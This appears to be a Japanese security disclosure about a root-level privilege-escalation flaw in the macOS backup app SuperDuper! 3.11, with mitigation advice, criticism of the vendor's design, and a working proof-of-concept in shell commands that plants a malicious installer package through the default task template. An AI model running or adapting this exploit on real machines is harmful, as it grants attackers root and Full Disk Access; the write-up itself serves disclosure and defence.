
この脆弱性は、CVE-2025-61229で説明されているものと類似しています。攻撃者はタスクテンプレートを編集して、SuperDuperのバックアップタスクに任意のパッケージをインストールさせることができます。その後、パッケージはルートユーザーとして、最高レベルのプライバシーアクセス(フルディスクアクセス)でシェルスクリプトを実行できます。
CVSS 3.1 スコア: NVD スコアは保留中です。
この脆弱性を回避するには、SuperDuper! アプリケーションを削除するか、3.12 アップデートを適用してください。
このエクスプロイト分析および概念実証は、教育目的でのみ提供されています。自己責任で使用してください。
私のSuperDuper CVE-2025-61229 脆弱性に関する以前の分析では、開発者が SuperDuper 3.11 アップデートでその脆弱性に対処した後も、SuperDuper のデフォルト設定テンプレートは本質的に安全ではないことがわかりました。そのアップデートは CVE-2025-61229 で詳述された特定の脆弱性にのみ対処したものであり、攻撃者がデフォルトのタスクテンプレートを変更できるという事実には対処していませんでした。運悪く、タスクテンプレートにはパッケージをインストールする機能が含まれているため、攻撃者はタスクテンプレートを変更して、ルートユーザーとして、かつフルディスクアクセスでソフトウェアをインストールしたりシェルスクリプトを実行したりできるパッケージを指定できます。
開発者は「パッケージのインストール」機能を削除することでこの脆弱性を緩和しました。ただし、タスク設定テンプレートは依然として攻撃者によって変更される可能性があり、開発者はこの問題をユーザーに煩わしさを与えずに解決することはできない(つまり、タスクが変更されるたびにユーザーに認証を要求する)とさえ示していました。そのため、開発者がより安全にする別の方法を考え出せなかったため、デフォルトのタスクテンプレートは当面の間、変更に対して脆弱なままであると思われます。
私の以前の結論は繰り返す価値があります。ルート権限とフルディスクアクセスは、macOS でソフトウェアが取得できる最高の権限です。これらの権限を要求する開発者は、最新のセキュリティ設計原則とベストプラクティスに準拠したソフトウェアを作成する必要があります。この脆弱性、および CVE-2025-57489 と CVE-2025-61228 で露呈された脆弱性、そして開発者自身がこれらの問題が 22 年間 続いていることを認めていることからも、SuperDuper は安全な製品として 設計 されておらず、22 年間にわたって最新のベストプラクティスに準拠するための定期的な設計改善が行われていないことが明らかです。
この脆弱性は、CVE-2025-61229 とほぼ同じ方法で攻撃されるため、その脆弱性に関する以前の分析 を主に参照します。以下の概念実証は、SuperDuper バージョン 3.11 でのエクスプロイトを示しています。
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
これらのコマンドを実行した後、デフォルト設定でバックアップを実行するだけで、attack.pkg がルート権限とフルディスクアクセスでインストールされます。最終結果として、/Library に「private_data」という名前のファイル(つまり、ルートのみ書き込み可能)が作成され、その中には Desktop フォルダの一覧(つまり、フルディスクアクセスで実行中のコードのみアクセス可能)が含まれます。